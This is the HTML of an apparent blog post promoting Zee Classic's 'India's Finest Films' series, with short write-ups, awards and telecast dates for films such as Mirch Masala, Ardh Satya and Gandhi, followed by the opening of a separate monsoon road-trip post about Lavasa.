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<span lang="EN-US"><br /></span> <span lang="EN-US">The list of achievements is a long one for this movie. It won the National Film Award for Best Feature Film in Hindi, the National Board of Review Award for Top Foreign Film, the Golden Camera and Audience Awards at the Cannes Film Festival, and three awards at the Montréal World Film Festival. <b>'Salaam Bombay!'</b> was India's second film submission to be nominated for the Academy Award for Best Foreign Language Film. The film was among the list of "The Best 1,000 Movies Ever Made" by the New York Times. </span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Mirch Masala</span></b></div>
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<span lang="EN-US">For some <b>Ketan Mehta</b> will always remain the man who made <b>Mirch Masala</b>. An attention grabbing film, it rotates around the gender divide in the society. It is the story of Sonabai <b>(Smita Patil)</b> and her struggle to protect her sanctity from the evil Subedar <b>(Naseeruddin Shah)</b> and a village full of sexist men. The dusty and dried surroundings of Kutch shown in the movie probably are an illustration for the values of a male and class-dominated Indian culture. </span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0A85dkUK1toXIHjanT5ts_Vv4MokbEexBGFM60XI9w8x6Gcm1B3dkbLOVouxj53FAfW6sHbqmlSVhdfyKWtIpDpHovTlbBmUu9vS-cd0ZESMwpqzO1N0U0rRbGBhrRe8Ym2v3hQ2ayA3/s1600/Mirch+Masala.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Salaam Bombay!’ on 16th July at 10 PM on Zee Classic" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0A85dkUK1toXIHjanT5ts_Vv4MokbEexBGFM60XI9w8x6Gcm1B3dkbLOVouxj53FAfW6sHbqmlSVhdfyKWtIpDpHovTlbBmUu9vS-cd0ZESMwpqzO1N0U0rRbGBhrRe8Ym2v3hQ2ayA3/s400/Mirch+Masala.jpg" title="Catch ‘Salaam Bombay!’ on 16th July at 10 PM on Zee Classic" width="277" /></a></div>
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<span lang="EN-US" style="font-family: "calibri" , "sans-serif"; font-size: 11.0pt;">Catch ‘Salaam Bombay!’ on 16<sup>th</sup> July at 10 PM on Zee Classic</span></div>
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<span lang="EN-US">Amongst other things <b>Mirch Masala</b> has gone down in history as one of <b>Smita Patil's</b> finest performances with Forbes including her performance in the film on its list, ‘25 Greatest Acting Performances of Indian Cinema’.</span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Salim Langde Pe Mat Ro</span></b></div>
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<b><span lang="EN-US">Salim Langde Pe Mat Ro</span></b><span lang="EN-US"> is a rare film and an attempt to showcase the dilemmas faced by urban Muslims thoughtfully but boldly. In addition to the portrayal of Bombay’s <i>mohalla</i> life, it also shows the joys of friendship and camaraderie and pleasure of loafing around. Salim Langda <b>(Pawan Malhotra)</b> is a confident petty thief. Salim earns his livelihood by doing odd jobs for the big bosses of Bombay’s underworld. His final ambition is to ape these underworld kings whose status he envies.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRoyxhWei9m6oRz5sIxLJguKemx4k8HofGBGZwVrIiBf2cbXHnDrJhgebtymXxeAlUygHXUgO5YUVIzkYuhyphenhyphen0ueDRukQhIH3larnkFsbYOPkEBuEQ27YI1Nh2dqsSfBVVKrrDLaWn4tTt5/s1600/Salim+Langde+Pe+Mat+Ro.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Salim Langde Pe Mat Ro’ on 30th July at 10 PM on Zee Classic" border="0" height="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRoyxhWei9m6oRz5sIxLJguKemx4k8HofGBGZwVrIiBf2cbXHnDrJhgebtymXxeAlUygHXUgO5YUVIzkYuhyphenhyphen0ueDRukQhIH3larnkFsbYOPkEBuEQ27YI1Nh2dqsSfBVVKrrDLaWn4tTt5/s400/Salim+Langde+Pe+Mat+Ro.jpg" title="Catch ‘Salim Langde Pe Mat Ro’ on 30th July at 10 PM on Zee Classic" width="400" /></a></div>
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<span lang="EN-US">Catch ‘Salim Langde Pe Mat Ro’ on 30<sup>th</sup> July at 10 PM on Zee Classic</span></div>
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<span lang="EN-US"><b><span lang="EN-US">Saeed Mirza,</span></b><span lang="EN-US"> the director, has a long history of making films which have ridiculed stereotypes to which minorities are subject to in popular Hindi films and this movie is one of his finest creations. The film won the 37th National Film Award for Best Feature Film in Hindi and the National Film Award for Best Cinematography in 1989.</span></span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Ek Doctor Ki Maut</span></b></div>
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<b><span lang="EN-US">Ek Doctor Ki Maut</span></b><span lang="EN-US"> is an award winning film by the noted Bengali director <b>Tapan Sinha</b>, which depicts the ostracism, bureaucratic negligence and insult of a doctor and his research, instead of recognition and credit. This movie is loosely based on the life of Dr. Subhash Mukhopadhyay, an Indian physician who pioneered the IVF treatment just around the same time when another leading scientist, Dr. Robert Edwards was conducting separate experiments in England.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_m6tRbhrqx35U7-wJBOwNh9M4kpFniTFIAC0m31l5RDjgWCU_97czZjhWC0JFpuI73ASlFJKGJ692jHAsXHwsTIpdXkzIFGj9SMiSr04TEzcErnaxxa2gVPOvjALBZKhA87XrSBWnCtr/s1600/Ek+Doctor+Ki+Maut.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Ek Doctor Ki Maut on 6th August at 10 PM on Zee Classic" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_m6tRbhrqx35U7-wJBOwNh9M4kpFniTFIAC0m31l5RDjgWCU_97czZjhWC0JFpuI73ASlFJKGJ692jHAsXHwsTIpdXkzIFGj9SMiSr04TEzcErnaxxa2gVPOvjALBZKhA87XrSBWnCtr/s400/Ek+Doctor+Ki+Maut.jpg" title="Catch ‘Ek Doctor Ki Maut on 6th August at 10 PM on Zee Classic" width="296" /></a></div>
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<span lang="EN-US">Catch ‘Ek Doctor Ki Maut on 6<sup>th</sup> August at 10 PM on Zee Classic</span></div>
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<span lang="EN-US">The film won the 38<sup>th</sup> National Film Award for Second Best Feature Film, National Film Award for Best Direction and National Film Award - Special Jury Award awarded to the male lead, <b>Pankaj Kapoor</b>.</span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Gandhi</span></b></div>
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<span lang="EN-US">The name says it all!</span></div>
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<b><span lang="EN-US">Gandhi (1982)</span></b><span lang="EN-US"> was produced and directed by <b>Richard Attenborough</b> and written by <b>John Briley</b>. Starring <b>Ben Kingsley, Candice Bergen, Edward Fox, John Gielgud, Trevor Howard, John Mills, Roshan Seth and Martin Sheen</b>, it is one of the most iconic films of all times.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh26k7LP3AzWWAIsGgJygPiWCPdtwKuIZxVeMZMl9NAuNv2UnKDJ4o86A8uS9zJZMolcxgXWD26fFBv9PpSXjq9zUh2Iyb87k-oFct3874ovINK2f4tZDWoQppDWhitaTcQbhkApWlX_Y5l/s1600/Gandhi.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Gandhi’ on 13th August at 10 PM on Zee Classic" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh26k7LP3AzWWAIsGgJygPiWCPdtwKuIZxVeMZMl9NAuNv2UnKDJ4o86A8uS9zJZMolcxgXWD26fFBv9PpSXjq9zUh2Iyb87k-oFct3874ovINK2f4tZDWoQppDWhitaTcQbhkApWlX_Y5l/s400/Gandhi.jpg" title="Catch ‘Gandhi’ on 13th August at 10 PM on Zee Classic" width="277" /></a></div>
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<span lang="EN-US">Catch ‘Gandhi’ on 13<sup>th</sup> August at 10 PM on Zee Classic</span></div>
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<b><span lang="EN-US">Gandhi</span></b><span lang="EN-US"> is the highest Oscar winning film of all time – claiming eight awards from 11 nominations, including Best Film – although it almost never got made! The late director Richard Attenborough revealed in of his interviews "It took me 20 years to get the money to get that movie made. I remember my pitch to 20th Century Fox. The guy said: 'Dickie, it's sweet of you to come here. You're obviously obsessed. But who will be interested in a little brown man wrapped in a sheet carrying a beanpole?' I would have loved to have met that guy after the Oscars!”</span></div>
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<span lang="EN-US"><b><span lang="EN-US">Attenborough</span></b><span lang="EN-US"> knew that he would be telling one of the 20th-century's most remarkable stories, that of the Indian lawyer who returned from racially segregated South Africa to drive the British out of his home country through successive acts of non-violent protest.</span></span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Ardh Satya</span></b></div>
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<b><span lang="EN-US">Ardh Satya</span></b><span lang="EN-US"> is directed by the very talented <b>Govind Nihalani</b>. The film is based on a short story by <b>D.A. Panvalkar</b> and the script is written by <b>Vijay Tendulkar</b>. It has <b>Om Puri, Smita Patil, Amrish Puri, Naseeruddin Shah and Sadashiv Amarpurkar</b> in lead roles. It is the story of Anant Welankar, son of a retired constable in Maharashtra Police, who is forced to let go of his dream of pursuing an MBA and join the Police force. </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0FxLo_cvekYNPJgeLVQC6a5e6a5WNt9at1w-Njg1VtrS8GZ8TkH_Z1yWxVwXIb91wpsTHD3eFkOoiI5HgFxAsIHE3YRri803wpaQ7oEt5FLEaTOompho-f7AGXOdZz5wcoaJzmhcLu3cP/s1600/Ardh+Satya.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Ardh Satya’ on 20th August at 10 PM on Zee Classic" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0FxLo_cvekYNPJgeLVQC6a5e6a5WNt9at1w-Njg1VtrS8GZ8TkH_Z1yWxVwXIb91wpsTHD3eFkOoiI5HgFxAsIHE3YRri803wpaQ7oEt5FLEaTOompho-f7AGXOdZz5wcoaJzmhcLu3cP/s400/Ardh+Satya.jpg" title="Catch ‘Ardh Satya’ on 20th August at 10 PM on Zee Classic" width="300" /></a></div>
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<span lang="EN-US" style="font-family: "calibri" , "sans-serif"; font-size: 11.0pt;">Catch ‘Ardh Satya’ on 20<sup>th</sup> August at 10 PM on Zee Classic</span></div>
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<span lang="EN-US">After <b>Aakrosh, Ardh Satya</b> is the second film made by <b>Govind Nihalani</b>. It is brutally honest in the depiction of the trials, tribulations, character and conflicts of its protagonist. In times when everything and everyone has a price, it is a hard hitting journey of an honest man… a part of which remains back to haunt you long after the credits have rolled.</span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Pestonjee</span></b></div>
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<b><span lang="EN-US">Pestonjee</span></b><span lang="EN-US"> is a film directed by <b>Vijaya Mehta</b>, starring <b>Anupam Kher, Naseeruddin Shah and Shabana Azmi</b> in lead roles. The film is an intimate look into the life and mannerisms of the Parsi community especially those living in the city of Bombay <i>(now Mumbai)</i> in the 1950s and 60s. </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAJAomZZTCYTqYRKbNnmHlOBAz0NS7UameuoHTVoS3FLMH2qM6RUlf7iIYXgP64YmTKGJISEJpbQh3YXt0kqH9e5-ASqJf6lpvwCCS5Cls2M_d9uTCm6u0uD58xBf2RdFILf4hB7obb_Pl/s1600/Pestonjee.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Ardh Satya’ on 20th August at 10 PM on Zee Classic" border="0" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAJAomZZTCYTqYRKbNnmHlOBAz0NS7UameuoHTVoS3FLMH2qM6RUlf7iIYXgP64YmTKGJISEJpbQh3YXt0kqH9e5-ASqJf6lpvwCCS5Cls2M_d9uTCm6u0uD58xBf2RdFILf4hB7obb_Pl/s320/Pestonjee.jpg" title="Catch ‘Ardh Satya’ on 20th August at 10 PM on Zee Classic" width="320" /></a></div>
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<span lang="EN-US">Catch
‘Pestonjee’ on 3<sup>rd</sup> September at 10 PM on Zee Classic<o:p></o:p></span></div>
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<span lang="EN-US">‘Life is for living, not for complaining.’ says the cover to <b>‘Pestonjee’</b>. Phirohshah aka Phiroj <b>(Naseeruddin Shah)</b> and Pestonjee aka Pesi <b>(Anupam Kher)</b> are the best of friends. They are almost like twins. There is no life without one another and they also hope to get married at the same time. But destiny has something else stored for them.</span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Qissa</span></b></div>
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<span lang="EN-US">All of us have grown up with different kinds of stories that were narrated to us. Some of them will be overlooked while some will be lost with the passage of time. But, the story of <b>Qissa</b> is timeless. <b>Irrfan Khan</b> as Umber Singh, <b>Tisca Chopra</b> as Mehar, <b>Tilotama Shome </b>as Kanwar Singh, <b>Rasika Dugal</b> as Neeli are the main protagonists of the movie. </span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzpSolUesbQIeULMs9-kyp1yJt81htfAiAiDHz1uzaDKuErvrrQ-U9TZ-0IOQ6jOgMSXJmihsIhHuAYx_gQNYzXBfdy1gGMHDsJT9kp-LWMHsZFxwEXuVWFNkY3pO-5StElyDJHzllv3vg/s1600/Qissa.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Qissa’ on 10th September at 10 PM on Zee Classic" border="0" height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzpSolUesbQIeULMs9-kyp1yJt81htfAiAiDHz1uzaDKuErvrrQ-U9TZ-0IOQ6jOgMSXJmihsIhHuAYx_gQNYzXBfdy1gGMHDsJT9kp-LWMHsZFxwEXuVWFNkY3pO-5StElyDJHzllv3vg/s400/Qissa.jpg" title="Catch ‘Qissa’ on 10th September at 10 PM on Zee Classic" width="400" /></a></div>
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<span lang="EN-US">Catch ‘Qissa’ on 10th September at 10 PM on Zee Classic</span></div>
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<span lang="EN-US"><b><span lang="EN-US">Anup Singh's Qissa</span></b><span lang="EN-US"> is a powerful, haunting, superbly crafted film about the complexities of character and sexuality. Does personality stem from a society or nation you were conceived in, your sex, sexuality or just the environment you were brought up in and situations that formed you? The film packs these profound inquiries into a simple story.</span></span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">27 Down</span></b></div>
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<b><span lang="EN-US">27 Down</span></b><span lang="EN-US"> is a film directed by <b>Awtar Krishna Kaul, featuring Raakhee and M.K. Raina</b> in lead parts. The film is description on 27 Down, the Bombay-Varanasi Express. Sanjay <b>(M K Raina),</b> the son of a railroad employee, gives up on his dreams of becoming an artist when his father demands he come back to the family occupation. He gauges life in train sounds and journeys. The requests of congruity influence his connection with a young <b>lady Shalini (Rakhee).</b></span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqYDL5sYE2SWGP-Z38GUPyfmdR8PglGFEnZ7BPWBVNbA_cS-lEi5fFWVYg55V7R2EGljQWEWHJmoHoHSXNbK40yvqS7yFBChZiTyrJztZePU3fHaMacxfstJ4yRhhlwk5qO1ApQoHfa4l1/s1600/27+Down.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ’27 Down’ on 14th September at 10 PM on Zee Classic" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqYDL5sYE2SWGP-Z38GUPyfmdR8PglGFEnZ7BPWBVNbA_cS-lEi5fFWVYg55V7R2EGljQWEWHJmoHoHSXNbK40yvqS7yFBChZiTyrJztZePU3fHaMacxfstJ4yRhhlwk5qO1ApQoHfa4l1/s400/27+Down.jpg" title="Catch ’27 Down’ on 14th September at 10 PM on Zee Classic" width="285" /></a></div>
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<span lang="EN-US" style="font-family: "calibri" , "sans-serif"; font-size: 11.0pt;">Catch ’27 Down’ on 14th September at 10 PM on Zee Classic</span></div>
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<span lang="EN-US"><b><span lang="EN-US">27 Down</span></b><span lang="EN-US"> is one of those rare gems of the Indian silver screen that merited more credit than what it really received. Despite it being made 40 years ago, it manages to remarkably portray the relationship between two young adults as they get together and try to discover themselves in each other through their conversations, meaningful connections and silent solitude!</span></span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Gangoobai</span></b></div>
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<i><span lang="EN-US">“Apne pasand ki cheez milna badi baat hai.</span></i></div>
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<i><span lang="EN-US">Agar sab kuch mil gaya, lekin apne pasand ki cheez hi na mili toh matlab kya hai jeekay!”</span></i></div>
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<span lang="EN-US">(“It is a big thing, to get what one desires.</span></div>
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<span lang="EN-US">If you have everything, but cannot get that one thing you desire, then what is the point of living!”)</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNt97GZlfd-kTNAnG6N26Nz00tAOkkMWnVB9nhoAKQuNXK8jDhXGyUQRsY2cMuVUo4PT5zAeMgmmL-De3smgLj0kg18ZQr7FqdxRaYF6SWrJor0_IR_ZINVQusj8B77L1-1R3wwEsAFGrj/s1600/Gangoobai.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Gangoobai’ on 1st October at 10 PM on Zee Classic" border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNt97GZlfd-kTNAnG6N26Nz00tAOkkMWnVB9nhoAKQuNXK8jDhXGyUQRsY2cMuVUo4PT5zAeMgmmL-De3smgLj0kg18ZQr7FqdxRaYF6SWrJor0_IR_ZINVQusj8B77L1-1R3wwEsAFGrj/s400/Gangoobai.jpg" title="Catch ‘Gangoobai’ on 1st October at 10 PM on Zee Classic" width="400" /></a></div>
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<span lang="EN-US" style="font-family: "calibri" , "sans-serif"; font-size: 11.0pt;">Catch ‘Gangoobai’ on 1<sup>st</sup> October at 10 PM on Zee Classic</span></div>
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<span lang="EN-US">Directed by <b>Priya Krishnaswamy, Sarita Joshi</b> is the main protagonist in <b>Gangoobai</b>. The story revolves around an elderly maid who strives to accomplish her dream of buying a costly Gara sari and changes the lives of individuals she comes in contact with while in Mumbai to purchase the sari.</span><br />
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<b style="line-height: 105%; text-align: left; text-indent: -18pt;"><span lang="EN-US">Mammo</span></b></div>
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<b><span lang="EN-US">Mammo (1994),</span></b><span lang="EN-US"> a film by <b>Shyam Benegal</b>, is the first film in the series of Muslim trilogy including <b>Sardari Begum (1996) and Zubeidaa (2001).</b> </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFGe-k83fkMKXQRthDVD0YAvkeT0YWZcyMHcYLYs66BvVJs15iJVwK2zdDdTJMOZXXkvZcBtzQZJpVE4Mcp5_CfiiXTDbGi1TJ1CkhaWcHM4el_vqi7JMG-zTTU5AE-kvlyUF6XGbbPkd2/s1600/Mammo.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Gangoobai’ on 1st October at 10 PM on Zee Classic" border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFGe-k83fkMKXQRthDVD0YAvkeT0YWZcyMHcYLYs66BvVJs15iJVwK2zdDdTJMOZXXkvZcBtzQZJpVE4Mcp5_CfiiXTDbGi1TJ1CkhaWcHM4el_vqi7JMG-zTTU5AE-kvlyUF6XGbbPkd2/s400/Mammo.jpg" title="Catch ‘Gangoobai’ on 1st October at 10 PM on Zee Classic" width="400" /></a></div>
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<span lang="EN-US" style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin;">Catch ‘Mammo on 27<sup>th</sup>
August at 10 PM on Zee Classic</span></div>
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<span lang="EN-US">The film portrays the flinching truths frequently confronted by the powerless, post-partition. It reminds of the emotional torture of being torn far from one's roots over and over; in spite of one turning a blind eye or making a noise for change in the circumstances which they have no control over. It makes one appreciate something which is frequently is taken for granted until it is lost or gone for good. The character of <b>Mammo (Farida Jalal),</b> abandons her family and home behind for love and moves to Pakistan. They live in peaceful co-existence until her husband leaves Mammo defenseless and desolate.</span></div>
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<span lang="EN-US">Even though the motion picture is named after Mammo, the film tells two stories, one of Mammo, obviously, and other of youthful Riyaaz…His life and companions, his trysts with cigarettes, adult films, his shame that he is not as affluent as his companions, him trying to find himself, his bothering on seeing a stranger trying to be a part of his family and his ambition of turning into an author in the future. </span></div>
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<span lang="EN-US">This movie is also the recipient of National Film Award for Best Feature Film in Hindi and Filmfare Critics Award for Best Performance by <b>Farida Jalal</b> and National Film Award for Best Supporting Actress by <b>Surekha Sikri</b>.</span></div>
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<b style="line-height: 105%; text-align: left; text-indent: -18pt;"><span lang="EN-US">Massey Sahib</span></b></div>
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<b><span lang="EN-US">Massey Sahib</span></b><span lang="EN-US"> is a 1985 film directed by <b>Pradip Krishen,</b> featuring <b>Raghuvir Yadav</b> in the main role. It was <b>Pradip Krishen's</b> first film, and was based on a novel <b><i>Mister Johnson</i></b> written by <b>Joyce Cary in 1939</b>. The film also has stars like <b>Arundhati Roy</b>, who was yet to pen down her first novel and win the Man Booker Prize, alongside <b>Barry John and Veerendra Saxena.</b></span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-R7uy2gBI9PE4uD8hGFtRL-qMsgint-ts7FN7R4FGu1H5jN5TcjIHhyPeDj6JsvBuEFwO7r6yNaZ_BVF4RmE9uOLaM1jAsQk0oQxKH5RE-_bXan4sTNMv5G1lnVRvho3CLanr67wheAWw/s1600/Massey+Sahib.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Massey Sahib’ on 17th September at 10 PM on Zee Classic" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-R7uy2gBI9PE4uD8hGFtRL-qMsgint-ts7FN7R4FGu1H5jN5TcjIHhyPeDj6JsvBuEFwO7r6yNaZ_BVF4RmE9uOLaM1jAsQk0oQxKH5RE-_bXan4sTNMv5G1lnVRvho3CLanr67wheAWw/s400/Massey+Sahib.jpg" title="Catch ‘Massey Sahib’ on 17th September at 10 PM on Zee Classic" width="282" /></a></div>
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<span lang="EN-US">Catch ‘Massey Sahib’ on 17<sup>th</sup> September at 10 PM on Zee Classic<o:p></o:p></span></div>
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<span lang="EN-US">This story revolves around a man who is stuck in the crossfire where British Frontier principles smothered Indian freedom and colonialized it. This is a story told from an Indian perspective. Francis Massey <b>(Raghuvir Yadav)</b> works as a secretary for a British government officer in central India. Francis tries to out-do his employer in an attempt to be more British than him. He dresses British and even has a church wedding. He is not the most productive or gifted specialist, and his supervisor, the Commissioner Charles Adam <b>(Barry John),</b> regularly mediates on his benefit. But, Massey's unexpected fate is entirely past the Commissioner's mediation.</span></div>
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<span lang="EN-US">Even though <b>Raghuvir Yadav</b> has never won a National Award…he did win two International Awards for the Best Actor for Massey Sahib, FIPRESCI Critic's Award, Venice Film Festival, 1986 and the Best Actor Silver Peacock, IIFI, 1987. </span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">Arvind Desai Ki Ajeeb Dastaan</span></b></div>
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<b><span lang="EN-US">Arvind Desai Ki Ajeeb Dastan (ADKAD),</span></b><span lang="EN-US"> a film dear to <b>Saeed Akhtar</b> Mirza's heart, was a masterpiece of the parallel silver screen development that was a tribute to Indian producers. The motion picture revolves around the internal clashes of a person born and brought in a city, who battles to comprehend the significance of his life and those encompassing him, including family and companions. It stars <b>Shreeram Lagoo, Rohini Hattangadi, Satish Shah, Suresh Oberoi </b>(in a cameo),<b> Om Puri and Dilip Dhawan.</b></span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbD-iF0hVvcnSx0SoHKJAD6kqUhg2dUOYjm6jXNXIcQnB6GgU7ptqI_-elFeCobgYju1mmF3ZJVVu_OpALWcApykDG-iJNsl_Ij1z1NkiL8wCcNL9up-t9ioYaOJjVLZs1TGVyf_u28bH0/s1600/Arvind+Desai+Ki+Ajeeb+Dastan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Arvind Desai Ki Ajeeb Dastaan’ on 8th October at 10 PM on Zee Classic" border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbD-iF0hVvcnSx0SoHKJAD6kqUhg2dUOYjm6jXNXIcQnB6GgU7ptqI_-elFeCobgYju1mmF3ZJVVu_OpALWcApykDG-iJNsl_Ij1z1NkiL8wCcNL9up-t9ioYaOJjVLZs1TGVyf_u28bH0/s400/Arvind+Desai+Ki+Ajeeb+Dastan.jpg" title="Catch ‘Arvind Desai Ki Ajeeb Dastaan’ on 8th October at 10 PM on Zee Classic" width="400" /></a></div>
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<span lang="EN-US">Catch ‘Arvind Desai Ki Ajeeb Dastaan’ on 8<sup>th</sup> October at 10 PM on Zee Classic<o:p></o:p></span></div>
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<b><span lang="EN-US">Arvind Desai (Dilip Dhawan)</span></b><span lang="EN-US"> is a single child of a rich specialist (<b>Shriram Lagoo</b>) who deals in extravagant luxury handcrafted products. His has conflicting emotions for his dad. While he detests his commanding nature, he respects his aura, power and sharp mind. He has long examinations on workmanship and governmental issues with a Marxist companion (<b>Om Puri</b>). Much against his desires, his marriage is orchestrated to a young lady from a high-class family who has quite recently returned from Paris.</span></div>
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<span lang="EN-US">It's a film about the trans-generational exchange of qualities and the repercussions of the prevalent legacy influencing the value system in the future.</span></div>
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<b style="line-height: 105%; text-indent: -18pt;"><span lang="EN-US">The Good Road</span></b></div>
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<b><span lang="EN-US">The Good Road is a 2013</span></b><span lang="EN-US"> Indian drama film written and directed by <b>Gyan Correa</b>. The film won the trophy for Best Gujarati film at the 60th National Film Awards. Also, it was the first Gujarati film ever chosen to represent India at the Oscars. The motion picture is described in a hyperlink arrangement, where a few stories are interwoven, with the focal point of the story being an expressway in the country terrains of Gujarat close to a town in Kutch.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtt8TXgJ2hWzD_1ni2nq0mVV49fuGerSVIMlG2G4KadStPTCay4wz5zBBvHKDMLhJaosj-bnejYB4L0wzdEKqqH9FHaZO6wtMLgGZndoUUxwSFpKZT49DnfsuC1Y8X__8iD-rQ0o11zyqO/s1600/The+Good+Road.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Catch ‘Arvind Desai Ki Ajeeb Dastaan’ on 8th October at 10 PM on Zee Classic" border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtt8TXgJ2hWzD_1ni2nq0mVV49fuGerSVIMlG2G4KadStPTCay4wz5zBBvHKDMLhJaosj-bnejYB4L0wzdEKqqH9FHaZO6wtMLgGZndoUUxwSFpKZT49DnfsuC1Y8X__8iD-rQ0o11zyqO/s400/The+Good+Road.jpg" title="Catch ‘Arvind Desai Ki Ajeeb Dastaan’ on 8th October at 10 PM on Zee Classic" width="400" /></a></div>
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<span lang="EN-US">Catch
‘The Good Road’ on 15<sup>th</sup> October at 10 PM on Zee Classic<o:p></o:p></span></div>
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<span lang="EN-US">A family on a holiday lose their child… A truck driver's last rid… A young lady in search of hope… This is an adventurous journey, across a national highway, and into the heart of a concealed India, where demonstrations of extraordinary sympathy are shown to outsiders.</span></div>
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<span style="color: #212121; mso-ansi-language: EN-IN;">To acquaint the youth of India with parallel cinema and enhance their movie-viewing experience, <b>Zee Classic</b> has also curated an hour long special feature called <b>‘India’s Finest Films – A Parallel Journey’.</b> It includes views of stalwarts of Indian cinema like <b>Shyam Benegal, Mahesh Bhatt, Saeed Mirza, Kundan Shah, Rohini Hattangadi</b> amongst others. It is available on the <b>Zee Classic YouTube</b> channel </span></div>
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<span style="color: #212121; mso-ansi-language: EN-IN;">Audiences can also catch it on television as a prelude to<span class="apple-converted-space"> </span>‘<b>India's Finest Films’</b>. Excerpts of this feature along with additional exclusive interviews will be showcased during the telecast of movies on <b>Zee Classic. </b></span></div>
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<b><span lang="EN-US" style="font-family: "candara" , "sans-serif";">~Watch ‘India’s Finest Films’ every Saturday at 10 PM only on Zee Classic~</span></b></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-28542537757466623232016-07-14T14:32:00.003+05:302017-05-11T12:49:48.353+05:30My Ideal Yatra : A Road Trip To Lavasa In The Rains<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: x-large;">Our monsoon road trip to Lavasa</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">Do you love rains? Who doesn’t and I am no different. It’s just gives me a high to take a road trip in monsoon and run away from the maddening crowd. </span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUgv4QWCd07wWCNz37ytYLCu6xAJt9_oNg9_YbGaACsH5MQMTj5p50d_IMHhzqEDDeiAMnI6_e4Afm93TV0TT-cncSmq421JKwULx02_2HbdhEPyPAJFHITvCG1Wo0LYS9TujUExh32MCL/s1600/Beach.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Our monsoon road trip to Lavasa" border="0" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUgv4QWCd07wWCNz37ytYLCu6xAJt9_oNg9_YbGaACsH5MQMTj5p50d_IMHhzqEDDeiAMnI6_e4Afm93TV0TT-cncSmq421JKwULx02_2HbdhEPyPAJFHITvCG1Wo0LYS9TujUExh32MCL/s400/Beach.jpg" title="Our monsoon road trip to Lavasa" width="400" /></a></div>
